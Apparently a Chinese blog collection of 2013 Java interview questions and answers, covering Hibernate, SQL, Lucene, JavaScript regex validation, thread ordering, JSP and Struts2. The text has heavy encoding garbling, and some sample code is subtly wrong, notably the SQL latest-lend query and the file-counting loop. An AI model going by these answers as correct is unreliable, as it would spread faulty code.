Hibernate的核心接口一共有5個(gè),分別為:Session、SessionFactory、Transaction、Query和Configuration。 ?
這5個(gè)核心接口在任何開發(fā)中都會用到。通過這些接口,不僅可以對持久化對象進(jìn)行存取,還能夠進(jìn)行事務(wù)控制。 ?
?
問題3:Hibernate的緩存有哪些? ?
?
Session是一級緩存,SessionFactry是二級緩存。 ?
SessionFactory是Hibernate的概念,對應(yīng)一個(gè)數(shù)據(jù)存儲源(如MySql,SQLServer,Oracle) ?
看你項(xiàng)目中用的哪個(gè)數(shù)據(jù)庫,可以有多個(gè),在XML文件中配置,由Configuration創(chuàng)建 ?
SessionFactory可以創(chuàng)建Session,Session用來控制事務(wù)以及增刪改查操作 ?
SessionFactory是線程安全的,多線程可以同時(shí)訪問它,創(chuàng)建一次就行 ?
Session是線程不安全的,代表對數(shù)據(jù)庫一次操作。一般每一次對數(shù)據(jù)庫的操作都要創(chuàng)建一個(gè)Session,用之后關(guān)閉 ?
?
1、內(nèi)部緩存存在Hibernate中又叫一級緩存,屬于應(yīng)用事務(wù)級緩存 ?
2、二級緩存: ?
a) 應(yīng)用級緩存 ?
b) 分布式緩存,比如使用Memcached可作為Hibernate二級分布式緩存 ?
條件:數(shù)據(jù)不會被第三方修改、數(shù)據(jù)大小在可接受范圍、數(shù)據(jù)更新頻率低、同一數(shù)據(jù)被系統(tǒng)頻繁使用、非關(guān)鍵數(shù)據(jù) ?
c) 第三方緩存的實(shí)現(xiàn) ?
?
問題4:Hibernate中g(shù)et和load有什么區(qū)別? ?
?
不存在對應(yīng)記錄時(shí)表現(xiàn)不一樣 ?
load返回的是代理對象(javassist.jar生成二進(jìn)制碼),等到真正用到對象的內(nèi)容才會發(fā)出SQL語句 ?
get直接從數(shù)據(jù)庫加載,不會延遲 ?
get不支持懶加載 ,load支持 ?
get查詢數(shù)據(jù)庫不存在的記錄時(shí)返回null ,load就報(bào)異常了 ?
?
問題5:什么是Session? ?
?
Session 是客戶端與服務(wù)器之間的會話,用來保存用戶的信息。 ?
在編程里是會話的意思 ?
Session 對象存儲特定用戶會話所需的信息。這樣,當(dāng)用戶在應(yīng)用程序的 Web 頁之間跳轉(zhuǎn)時(shí),存儲在 Session 對象中的變量將不會丟失,而是在整個(gè)用戶會話中一直存在下去 ?
當(dāng)用戶請求來自應(yīng)用程序的 Web 頁時(shí),如果該用戶還沒有會話,則 Web 服務(wù)器將自動創(chuàng)建一個(gè) Session 對象。當(dāng)會話過期或被放棄后,服務(wù)器將終止該會話 ?
?
問題6:Session和Cookie區(qū)別? ?
??
Session是服務(wù)器端緩存,Cookie是客戶端緩存。 ?
Cookie機(jī)制采用的是在客戶端保持狀態(tài)的方案,而Session機(jī)制采用的是在服務(wù)器端保持狀態(tài)的方案 ?
?
2013年8月7日:天懋?dāng)?shù)碼、圖創(chuàng)科技 ?
??
問題1:書籍表,借書表,查詢借書表每一本書的最新借書時(shí)間 ?
??
書籍表 Book ? ?表結(jié)構(gòu):主鍵ID、書名Name ?
借書表 Lend ? ?表結(jié)構(gòu):主鍵ID、外鍵BookID、借書時(shí)間Time ?
要求精確到秒 ?
??
/* 查詢lend表,通過bookId分組,查出每組中時(shí)間最大的,時(shí)間最大的代表最新的*/ ?
SELECT max(l.time) ??
FROM lend as l ??
GROUP BY l.bookId; ?
??
/* 查詢book表和lend表 */ ?
SELECT b.name as "書名", l.time as "最新借出時(shí)間" ??
FROM book as b , lend as l ??
WHERE l.bookId = b.id ??
AND ??
l.time IN ??
( ?
SELECT max(l.time) ??
FROM lend as l ??
GROUP BY l.bookId ?
); ?
??
問題2:WebService相關(guān) ?
??
概念: ?
Web Service 是一項(xiàng)新技術(shù),能使得運(yùn)行在不同機(jī)器上的不同應(yīng)用無須借助附加的、專門的第三方軟件或硬件,就可相互交換數(shù)據(jù)或集成。依據(jù)Web Service 規(guī)范實(shí)施的應(yīng)用之間,無論它們所使用的語言、平臺或內(nèi)部協(xié)議是什么,都可以相互交換數(shù)據(jù)。 ?
通俗的講,Web Service 就是一個(gè)部署在Web 服務(wù)器上的一個(gè)應(yīng)用程序,它向外界暴露出一個(gè)能夠通過Web 進(jìn)行調(diào)用的API。 ?
這就是說,你能夠用編程的方法通過Web 來調(diào)用這個(gè)應(yīng)用程序。我們把調(diào)用這個(gè)Web Service 的應(yīng)用程序叫做客戶端,發(fā)布這個(gè)web 服務(wù)的機(jī)器稱為Web Service 服務(wù)器。 ?
??
優(yōu)勢: ?
異構(gòu)平臺的互通性 ?
更廣泛的軟件復(fù)用 ?
成本低、可讀性強(qiáng)、應(yīng)用范圍廣 ?
迅捷的軟件發(fā)行方式 ?
??
WSDL:WebService服務(wù)描述語言 ?
獲取WEB的發(fā)布信息是通過wsimport來解析wsdl文件得到Java類來實(shí)現(xiàn)的。無論是獲取發(fā)布的服務(wù),還是調(diào)用發(fā)布的服務(wù),都需要參考wsdl文件 ?
??
CXF框架概念介紹 ?
Apache CXF 是一個(gè)開源的Services框架,CXF 幫助您來構(gòu)建和開發(fā) Services。 ?
這些 Services 可以支持多種協(xié)議,比如:SOAP1.1/1.2、POST/HTTP、RESTful、HTTP,CXF大大簡化了Service,可以天然地和 Spring 進(jìn)行無縫集成。 ?
??
問題3:Lucene相關(guān) ?
??
對索引庫的操作可以分為兩種:管理與查詢 ?
??
管理索引庫使用IndexWriter,從索引庫中查詢使用IndexSearcher。 ?
Lucene的數(shù)據(jù)結(jié)構(gòu)為Document文檔與Field字段 ?
Document代表一條數(shù)據(jù),Field代表數(shù)據(jù)中的一個(gè)屬性。 ?
一個(gè)Document中有多個(gè)Field,Field的值為String型,因?yàn)長ucene只處理文本 ?
我們只需要把在我們的程序中的對象轉(zhuǎn)成Document,就可以交給Lucene管理了,搜索的結(jié)果中的數(shù)據(jù)列表也是Document的集合 ?
??
中文分詞器之一:IKAnalyzer ?
格式器對象Formatter ?
索引庫數(shù)據(jù)查看器(lukeall-1.0.0.jar) ?
??
IndexSearcher:是用來在建立好的索引上進(jìn)行搜索 ?
QueryParser:QueryParser 是查詢操作的解析類, 要告訴QueryParser對哪個(gè)字段進(jìn)行查詢, 用什么樣的分詞器,進(jìn)行分詞,最后返回的是一個(gè)Query對象, 交給IndexSearcher做查詢操作 ?
Term:是搜索的基本單元, Term對象有兩個(gè)String類型的域組成:字段的名稱和字段的值, 被分詞建立索引的Field就是Term ?
TopDocs: ?
int totalHits ?Expert: The total number of hits for the query. ?
ScoreDoc[] scoreDocs Expert: The top hits for the query ?
??
創(chuàng)建索引API分析 ?
Directory: 類代表一個(gè)Lucene索引的位置,FSDirectory:它表示一個(gè)存儲在文件系統(tǒng)中的索引的位置 ?
Analyzer類是一個(gè)抽象類, 它有多個(gè)實(shí)現(xiàn),在一個(gè)文檔被入索引庫之前,首先需要對文檔內(nèi)容進(jìn)行分詞處理,針對不同的語言和應(yīng)用需要選擇適合的 Analyzer。Analyzer 把分詞后的內(nèi)容交給 IndexWriter 來建立索引 ?
IndexWriter:是創(chuàng)建索引和維護(hù)索引的中心組件, 這個(gè)類創(chuàng)建一個(gè)新的索引并且添加文檔到一個(gè)已有的索引中。IndexWriter只負(fù)責(zé)索引庫的更新(刪、更新、插入),不負(fù)責(zé)查詢 ?
Document:由多個(gè)字段(Field)組成,一個(gè)Field代表與這個(gè)文檔相關(guān)的元數(shù)據(jù)。如作者、標(biāo)題、主題等等,分別做為文檔的字段索引和存儲。add(Fieldable field)添加一個(gè)字段(Field)到Document ?
??
Jar包至少有: ?
? ? lucene-core-3.0.1.jar(核心包) ?
? ? contrib\analyzers\common\lucene-analyzers-3.0.1.jar(分詞器) ?
? ? contrib\highlighter\lucene-highlighter-3.0.1.jar(高亮) ?
? ? contrib\memory\lucene-memory-3.0.1.jar(高亮) ?
??
全文檢索與數(shù)據(jù)查詢的區(qū)別 ??
相關(guān)度排序: 查出的結(jié)果沒有相關(guān)度排序,不知道我想要的結(jié)果在哪一頁。我們在使用百度搜索時(shí),一般不需要翻頁,為什么?因?yàn)榘俣茸隽讼嚓P(guān)度排序:為每一條結(jié)果打一個(gè)分?jǐn)?shù),這條結(jié)果越符合搜索條件,得分就越高,叫做相關(guān)度得分,結(jié)果列表會按照這個(gè)分?jǐn)?shù)由高到低排列,所以第1頁的結(jié)果就是我們最想要的結(jié)果 ?
查詢的方式: 全文檢索的速度大大快于SQL的like搜索的速度。這是因?yàn)椴樵兎绞讲煌斐傻?#xff0c;以查字典舉例:數(shù)據(jù)庫的like就是一頁一頁的翻,一行一行的找,而全文檢索是先查目錄,得到結(jié)果所在的頁碼,再直接翻到這一頁 ?
定位不一樣:一個(gè)更側(cè)重高效、安全的存儲、一個(gè)是側(cè)重準(zhǔn)確、方便的搜索 ?
??
問題4:要求在不允許引入第三個(gè)變量的情況下交換 var a=1; ?var b=2; ?
??
方法一: ?
a=a+b; ? ?b=a-b; ? ?a=a-b; ?
輸出a,b可以發(fā)現(xiàn)兩值已經(jīng)交換 ?
??
方法二: ?
a=a^b; ? ?b=a^b; ? ?a=a^b; ?
??
問題5:使用正則表達(dá)式驗(yàn)證郵箱 ?
??
正則表達(dá)式(regular expression, 常常縮寫為RegExp) 是一種用特殊符號編寫的模式,描述一個(gè)或多個(gè)文本字符串。使用正則表達(dá)式匹配文本的模式,這樣腳本就可以輕松的識別和操作文本。 ?
其實(shí),正則表達(dá)式是值得大家花時(shí)間學(xué)習(xí)的。正則表達(dá)式不僅在JavaScript 中有用,在其他許多地方也可以使用正則表達(dá)式,例如其他編程語言(比如Perl,Java,C#,Python 和PHP ),Apache 配置文件以及BBEdit 和TextMate 等文本編輯器。甚至Adobe Dreamweaver 和Microsoft Word( 在一定程度上) 使用正則表達(dá)式也可以實(shí)現(xiàn)更強(qiáng)大的搜索和替換。 ??
??
下面是一個(gè)驗(yàn)證電子郵件的正則表達(dá)式 : ?
var re = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/ ; ??
??
下面我們開始剖析這個(gè)正則表達(dá)式: ?
re 是一個(gè)變量, 用來存儲右邊的正則表達(dá)式,在JavaScript中,聲明變量使用Var 關(guān)鍵字。 ?
正則表達(dá)式的閱讀順序是從左向右的 ?
正則表達(dá)式總是以( / ) 開頭和結(jié)尾,斜杠之間的所有內(nèi)容都是正則表達(dá)式的組成部分 ?
脫字符( ^ ) 表示我們要使用這個(gè)表達(dá)式來檢查以特定字符串開頭的字符串。如果去掉脫字符,那么即使字符串開頭有一堆垃圾字符,電子郵件地址也可能被認(rèn)為是有效的。 ?
表達(dá)式\w 表示任意單一字符,包括a~z 、A~Z 、0~9 或下劃線。電子郵件必須這些字符之一開頭 ?
加號+ 表示我們要尋找前面條目的一次或多次出現(xiàn) ?
圓括號( ) 表示一個(gè)組,這意味著后面要引用圓括號中的所有內(nèi)容,所以現(xiàn)在將它們放在一個(gè)組中 ?
方括號[ ] 用來表示可以出現(xiàn)其中的任意一個(gè)字符。在這個(gè)示例中,方括號內(nèi)包含字符\.- 。我們希望允許用戶輸入點(diǎn)號或連字符,但是點(diǎn)號對于正則表達(dá)式有特殊的意義,所以需要在它前面加上反斜杠\, 在特殊字符前加反斜杠表示“對字符轉(zhuǎn)義”,經(jīng)轉(zhuǎn)義后的字符表示其本身意義。因?yàn)橛蟹嚼ㄌ?#xff0c;輸入字符串在這個(gè)位置可以有一個(gè)點(diǎn)號或一個(gè)連字符,但是兩種不能同時(shí)存在 ?
問號?表示前面的條目可以出現(xiàn)一次或不出現(xiàn)。所以電子郵件地址的第一部分中可以有一個(gè)點(diǎn)號或一個(gè)連字符,也可以沒有 ?
在?后面,再次使用\w+ ,表示點(diǎn)號或連字符后面必須有其他字符 ?
在()后面出現(xiàn)的* 號,表示前面的條目可以出現(xiàn)零次或多次。所以圓括號中的內(nèi)容可以出現(xiàn)零次或多次 ?
@ 字符代表其本身,沒有任何其他意義,這個(gè)字符位于電子郵件地址和域名之間 ?
@ 字符后再次出現(xiàn)\w+ ,表示@ 后必須出現(xiàn)字符。在此之后,再次出現(xiàn)([\.-]?\w+)*, 表示電子郵件地址的后綴中允許出現(xiàn)點(diǎn)號或連字符 ?
然后,在一對圓括號中建立另一個(gè)組(\.\w{2,3}), 表示我們希望找到一個(gè)點(diǎn)號,后面跟一些字符。在這個(gè)示例中,花括號中的數(shù)字表示前面的條目可以出現(xiàn)2 到3 次。在這個(gè)組的后面是一個(gè)+ 號,表示前面的條目(這個(gè)組)必須出現(xiàn)一次或多次。這會匹配.com 或.edu 之類的,也與ox.ac.uk 匹配 ?
最后,正則表達(dá)式的末尾是一個(gè)美元符號$ ,表示匹配的字符串必須在這里結(jié)束。斜杠結(jié)束正則表達(dá)式 ?
??
問題6:不使用正則表達(dá)式驗(yàn)證郵箱 ?
??
< script type="text/javascript"> ?
? ? document.getElementById('email').onblur = function() { ?
? ? ? ? var value = this.value; ?
? ? ? ? if (typeof value == 'undefined') { //未定義 ?
? ? ? ? ? ? alert('Email不能為空'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else if (value.trim() == '') { //空值 ?
? ? ? ? ? ? alert('Email不能為空'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else if (value.indexOf('@') == -1) { //不包含@ ?
? ? ? ? ? ? alert('Email必須包含@,如abc@qq.com'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else if (value.indexOf('.') == -1) { //不包含. ?
? ? ? ? ? ? alert('Email必須包含.,如abc@qq.com'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else { //包含@與. ?
? ? ? ? ? ? //以@或.開頭@qq.com 和 .@qq.com非法 ?
? ? ? ? ? ? if (value.indexOf('@') == 0 || value.indexOf('.') == 0) { ?
? ? ? ? ? ? ? ? alert('Email只能以字母開頭'); ?
? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? } else if (value.lastIndexOf('@') == value.length - 1 ?
? ? ? ? ? ? ? ? ? ? || value.lastIndexOf('.') == value.length - 1) { ?
? ? ? ? ? ? ? ? ? ? //以@或.結(jié)束 ?a@qq.com@ 和a@qq.com.非法 ?
? ? ? ? ? ? ? ? alert('Email只能以字母結(jié)束'); ?
? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? } else { //包含@與.且不以它們結(jié)束 ?
? ? ? ? ? ? ? ? var count_at = 0; ?
? ? ? ? ? ? ? ? //多個(gè)@ ?a@b@qq.com非法 ?
? ? ? ? ? ? ? ? if (value.indexOf('@') != value.lastIndexOf('@')) { ?
? ? ? ? ? ? ? ? ? ? alert('Email只能包含一個(gè)@,如abc@qq.com'); ?
? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? var beforeAt = value.substr(0, value.indexOf('@')); ?
? ? ? ? ? ? ? ? if (beforeAt.indexOf('.') != -1) { //a.b@qq.com 非法 ?
? ? ? ? ? ? ? ? ? ? alert('Email的@前必須全部為字母'); ?
? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? } ?
??
? ? ? ? ? ? //刪除@,.替換@,反正替換后按.分隔時(shí)a@.拼接,導(dǎo)致@.之間無法判定為空 ?
? ? ? ? ? ? ? ? value = value.replace('@', '.'); ?
? ? ? ? ? ? ? ? var splits = value.split('.'); //按.分隔 ?
? ? ? ? ? ? ? ? var a_z = 'abcdefghijklmnopqrstuvwxyz'; //僅字母 ?
? ? ? ? ? ? ? ? for ( var i in splits) { ??
//對點(diǎn)分隔后的字符進(jìn)行單字切割并匹配a-z ?
? ? ? ? ? ? ? ? ? ? if (splits[i] == '') { ?
? ? ? ? ? ? ? ? ? ? ? ? alert('Email的@.或..不能連接'); ?
? ? ? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? var words = splits[i].split(""); //單字切割 ?
? ? ? ? ? ? ? ? ? ? for ( var w in words) { //對每個(gè)單字進(jìn)行驗(yàn)證 ?
? ? ? ? ? ? ? ? ? ? ? ? if (a_z.indexOf(words[w].toLowerCase()) == -1) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? alert('Email只能包含字母!'); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? ? ? ? ? }}}}} ?
? ? ? ? return true; } ?
< /script> ?
??
2013年8月8日:圖創(chuàng)科技、進(jìn)易通信技術(shù) ?
??
問題1:使用A、B、C三個(gè)線程,有序的輸出ABCABCABC循環(huán)十次 ?
class A implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? try { ?
? ? ? ? ? ? ? ? ? ? synchronized (a) { ?
? ? ? ? ? ? ? ? ? ? ? ? synchronized (b) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.print("A"); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? b.notify(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? ? ? if (i < 9) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? a.wait(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } catch (Exception e) { ?
? ? ? ? ? ? ? ? ? ? e.printStackTrace(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? class B implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? try { ?
? ? ? ? ? ? ? ? ? ? synchronized (b) { ?
? ? ? ? ? ? ? ? ? ? ? ? synchronized (c) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.print("B"); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? c.notify(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? ? ? if (i < 9) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? b.wait(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } catch (Exception e) { ?
? ? ? ? ? ? ? ? ? ? e.printStackTrace(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? class C implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? try { ?
? ? ? ? ? ? ? ? ? ? synchronized (c) { ?
? ? ? ? ? ? ? ? ? ? ? ? synchronized (a) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.print("C"); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? a.notify(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? ? ? if (i < 9) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? c.wait(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } catch (Exception e) { ?
? ? ? ? ? ? ? ? ? ? e.printStackTrace(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? public static Object a = new Object(); ?
? ? public static Object b = new Object(); ?
? ? public static Object c = new Object(); ?
??
? ? public static void main(String[] args) throws Exception { ?
? ? ? ? TestThread t = new TestThread(); ?
??
? ? ? ? Thread a = new Thread(t.new A()); ?
? ? ? ? Thread b = new Thread(t.new B()); ?
? ? ? ? Thread c = new Thread(t.new C()); ?
??
? ? ? ? a.start(); ?
? ? ? ? Thread.sleep(1); ?
? ? ? ? b.start(); ?
? ? ? ? Thread.sleep(1); ?
? ? ? ? c.start(); ?
? ? } ?
??
問題2:讀取文本信息,讀取指定信息,比如“姓名:陳小影”里的陳小影,以及統(tǒng)計(jì)數(shù)據(jù) ?
??
用緩沖流的readline(),一次讀一行,然后截取冒號后面的,再加上字符串截取就行了subString(),最后再拼起來。 ?
?
代碼: ?
InputStreamReader read = new InputStreamReader(new FileInputStream(file), "UTF-8"); ?
BufferedReader reader = new BufferedReader(read); ?
??
代碼: ?
public static void main(String[] args) throws IOException ?
? ? ?{ ?
? ? ? FileReader is = new FileReader("D:/input.txt.txt"); ?
? ? ? BufferedReader br = new BufferedReader(is); ?
? ? ? StringBuffer buffer = new StringBuffer(); ?
? ? ? String test = ""; ?
??
? ? ? while((test = br.readLine()) != null){ ?
? ? ? ?int num = numString(test,"java"); ?
? ? ? ?PrintWriter ?os = new PrintWriter ("D:/result.txt.txt"); ?
? ? ? ?buffer.append("input.txt文件中,包含"); ?
? ? ? ?buffer.append(num); ?
? ? ? ?buffer.append("個(gè)java字符串"); ?
? ? ? ?os.write(buffer.toString()); ?
? ? ? ?os.close(); ??
? ? ? } ?
? ? ?} ?
? ? ? ?
? ? ?public static int numString(String s , String str) { ?
? ? ? ? ? ? int i = 0 ; ? ? //指定的開始搜索的索引 ?
? ? ? ? ? ? int index = 0 ; //查找到的第一個(gè)索引 ?
? ? ? ? ? ? int num = 0 ; ? ? ? //字符串出現(xiàn)的次數(shù) ?
??
? ? ? ? ? ? while(index != -1) { ?
? ? ? ? ? ? //indexOf(String str, int fromIndex) ??
? ? ? ? ? ? //返回指定子字符串在此字符串中第一次出現(xiàn)處的索引,從指定的索引開始。 ?
? ? ? ? ? ? ? ? index = s.indexOf(str,i) ; ?
? ? ? ? ? ? ? ? if(index != -1) ?
? ? ? ? ? ? ? ? ? ? num ++ ; ?
? ? ? ? ? ? ? ? i = index + str.length() ; ?
? ? ? ? ? ? } ?
? ? ? ? ? ? return num ; ?
? ? ? ? } ?
? ? } ?
??
問題3:JSP的九大內(nèi)置對象和四個(gè)作用域 ?
??
九大內(nèi)置對象: ?
request ? ? ? 請求對象 ? ? ? ? 用戶端請求,此請求會包含來自GET/POST請求的參數(shù) 作用域 Request ?
response ? ? ?響應(yīng)對象 ? ? ? ? ?網(wǎng)頁傳回用戶端的回應(yīng) ? ? ? ? ? ? ? ? ? ? ? ? ?作用域 Page ?
pageContext ? 頁面上下文對象 ? 網(wǎng)頁的屬性在這里管理 ? ? ? ? ? ? ? ? ? ? ? ? ?作用域 Page ?
session ? ? ? 會話對象 ? ? ? ? ?與請求有關(guān)的會話期 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 作用域 Session ?
application ? 應(yīng)用程序?qū)ο?? ?servlet正在執(zhí)行的內(nèi)容 ? ? ? ? ? ? ? ? ? ? ?作用域 Application ?
out ? ? ? ? ? 輸出對象 ? ? ? ? ?用來傳送回應(yīng)的輸出 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 作用域 Page ?
config ? ? ? ?配置對象 ? ? ? ? ?servlet的構(gòu)架部件 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?作用域 Page ?
page ? ? ? ? ?頁面對象 ? ? ? ? ?JSP網(wǎng)頁本身 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 作用域 Page ?
exception ? ? 例外對象 ? ? ? ? ?針對錯誤網(wǎng)頁,未捕捉的例外 ? ? ? ? ? ? ? ? ? ? ? 作用域 page ?
??
四個(gè)作用域:page、request、session、application ?
Page ? ? ? ? ? ?范圍是當(dāng)前頁面 ?
Request ? ? 范圍是當(dāng)前請求周期(從請求發(fā)起到服務(wù)器處理結(jié)束,返回響應(yīng)的整個(gè)過程) ?
Session ? ? 范圍是當(dāng)前會話(用戶打開瀏覽器開始,到用戶關(guān)閉瀏覽器并且會話失效的整個(gè)過程) ?
Application 范圍是整個(gè)應(yīng)用,從應(yīng)用啟動到應(yīng)用結(jié)束 ?
??
問題4:FileWriter和PrintWriter有什么區(qū)別? ?
??
在寫文件時(shí)我認(rèn)為: ?
? PrintWriter ?out ?= ?new ?PrintWriter( ? ??
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? new ?BufferedWriter( ? ??
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? new ?FileWriter(filename))); ?
比較好點(diǎn) ?
??
PrintWriter ? ? 提供print系方法 ?
BufferedWriter ?提供緩沖,用以加速 ?
FileWriter ? ? ?用于寫文件 ?
??
FileWriter類/FileReader類: ??
用于對字符文件的讀寫的便捷的結(jié)點(diǎn)流類 ?
使用時(shí)最好用BufferedReader/BufferedWriter對其進(jìn)行包裝。 ?
??
PrintStream類(如System.out): ?
格式化打印輸出字節(jié)數(shù)據(jù)的流,該類提供的print[ln]()方法可格式化打印輸出各種類型的數(shù)據(jù)(包括類對象) ?
它使用平臺的默認(rèn)字符編碼將所有字符都轉(zhuǎn)換為字節(jié)打印輸出(寫入) ?
??
在需要寫入字符而不是寫入字節(jié)的情況下,應(yīng)該使用PrintWriter類 ?
??
問題5:簡述JSP和Servlet的關(guān)系? ?
??
JSP---Java Server Pages ?
擁有Servlet的特性與優(yōu)點(diǎn)(本身就是一個(gè)Servlet) ?
直接在HTML中內(nèi)嵌JSP代碼 ?
只有當(dāng)客戶端第一次請求JSP時(shí),才需要將其轉(zhuǎn)換、編譯Servlet代碼 ?
??
優(yōu)點(diǎn): ?
優(yōu)良的性能 ? 優(yōu)于CGI,PHP,ASP ?
平臺無關(guān)性 ? 操作系統(tǒng)無關(guān),Web服務(wù)器無關(guān) ?
可擴(kuò)展性 ? ?標(biāo)簽庫Tag的擴(kuò)展機(jī)制,簡化頁面開發(fā)——Taglib uri ?
??
Servlet是在Web服務(wù)器上的Java程序,它提供服務(wù),由它來傳遞給你html的格式 ?
Servlet是服務(wù)器小小的Java應(yīng)用程序 ?
用來完成B/S架構(gòu)下,客戶端請求的響應(yīng)處理 ?
平臺獨(dú)立,性能優(yōu)良,能以線程方式運(yùn)行 ?
Servlet API為Servlet提供了統(tǒng)一的編程接口 ?
Servlet一般在容器中運(yùn)行(必須部署在Servlet容器,才能響應(yīng)客戶端的請求,對外提供服務(wù),要對外統(tǒng)一接口,由容器來調(diào)用) ?
??
JSP在被第1次訪問的時(shí)候 ?會被轉(zhuǎn)義編譯成類Servlet也可以說JSP就是一個(gè)Servlet ?
??
2者的區(qū)別:JSP是Html中內(nèi)嵌Java代碼;Servlet把Html代碼和Java代碼分離開 ?
? ? ? ? ? ? JSP側(cè)重與顯示;Servlet側(cè)重與控制邏輯 ?
??
問題6:簡述JAVA設(shè)計(jì)模式的概念? ?
??
設(shè)計(jì)模式(Design Pattern)是一套被反復(fù)使用、多數(shù)人知曉的、經(jīng)過分類編目的、代碼設(shè)計(jì)經(jīng)驗(yàn)的總結(jié)。使用設(shè)計(jì)模式是為了可重用代碼、讓代碼更容易被他人理解、保證代碼可靠性。 ??
?
毫無疑問,設(shè)計(jì)模式于己于他人于系統(tǒng)都是多贏的,設(shè)計(jì)模式使代碼編制真正工程化,設(shè)計(jì)模式是軟件工程的基石,如同大廈的一塊塊磚石一樣。 ?
??
問題7:常用的數(shù)據(jù)庫優(yōu)化方法有哪些? ?
??
建立索引 ?
導(dǎo)出歷史數(shù)據(jù) ??
定期整理索引(sp_msforeachtable ? 'dbcc ? dbreindex("?")' ? ) ??
少用like,查詢前檢查條件是不是完整,如果完整就用 = 替代like查詢,不要不檢查條件完整不完整全部用like來 ?
??
問題8:什么是動態(tài)游標(biāo)?什么是靜態(tài)游標(biāo)? ?
??
靜態(tài)游標(biāo)是以游標(biāo)打開時(shí)刻的當(dāng)時(shí)狀態(tài)顯示結(jié)果集的游標(biāo)。靜態(tài)游標(biāo)在游標(biāo)打開時(shí)不反映對基礎(chǔ)數(shù)據(jù)進(jìn)行的更新、刪除或插入。有時(shí)稱它們?yōu)榭煺沼螛?biāo)。 ?
??
動態(tài)游標(biāo)是可以在游標(biāo)打開時(shí)反映對基礎(chǔ)數(shù)據(jù)進(jìn)行的修改的游標(biāo)。用戶所做的更新、刪除和插入在動態(tài)游標(biāo)中加以反映。 ?
??
問題9:為什么要用Struts2框架? ?
??
它是建立在MVC這種公認(rèn)的好的模式上的,Struts在M、V和C上都有涉及,但它主要是提供一個(gè)好的控制器和一套定制的標(biāo)簽庫上,也就是說它的著力點(diǎn)在C和V上。因此,它天生就有MVC所帶來的一系列優(yōu)點(diǎn),如:結(jié)構(gòu)層次分明,高可重用性,增加了程序的健壯性和可伸縮性,便于開發(fā)與設(shè)計(jì)分工,提供集中統(tǒng)一的權(quán)限控制、校驗(yàn)、國際化、日志等等 ?
其次,它是個(gè)開源項(xiàng)目得到了包括它的發(fā)明者Craig R.McClanahan在內(nèi)的一些程序大師和高手持續(xù)而細(xì)心的呵護(hù),并且經(jīng)受了實(shí)戰(zhàn)的檢驗(yàn),使其功能越來越強(qiáng)大,體系也日臻完善 ?
是它對其他技術(shù)和框架顯示出很好的融合性 ?
??
問題10:Struts2的工作原理? ?
??
Struts2框架由3個(gè)部分組成: ?
核心控制器FilterDispatcher、業(yè)務(wù)控制器和用戶實(shí)現(xiàn)的業(yè)務(wù)邏輯組件。 ?
在這3個(gè)部分里,Struts 2框架提供了核心控制器FilterDispatcher,而用戶需要實(shí)現(xiàn)業(yè)務(wù)控制器和業(yè)務(wù)邏輯組件。 ??
??
1、核心控制器:FilterDispatcher ??
FilterDispatcher是Struts2框架的核心控制器,該控制器作為一個(gè)Filter運(yùn)行在Web應(yīng)用中,它負(fù)責(zé)攔截所有的用戶請求,當(dāng)用戶請求到達(dá)時(shí),該Filter會過濾用戶請求。如果用戶請求以action結(jié)尾,該請求將被轉(zhuǎn)入Struts2框架處理。 ??
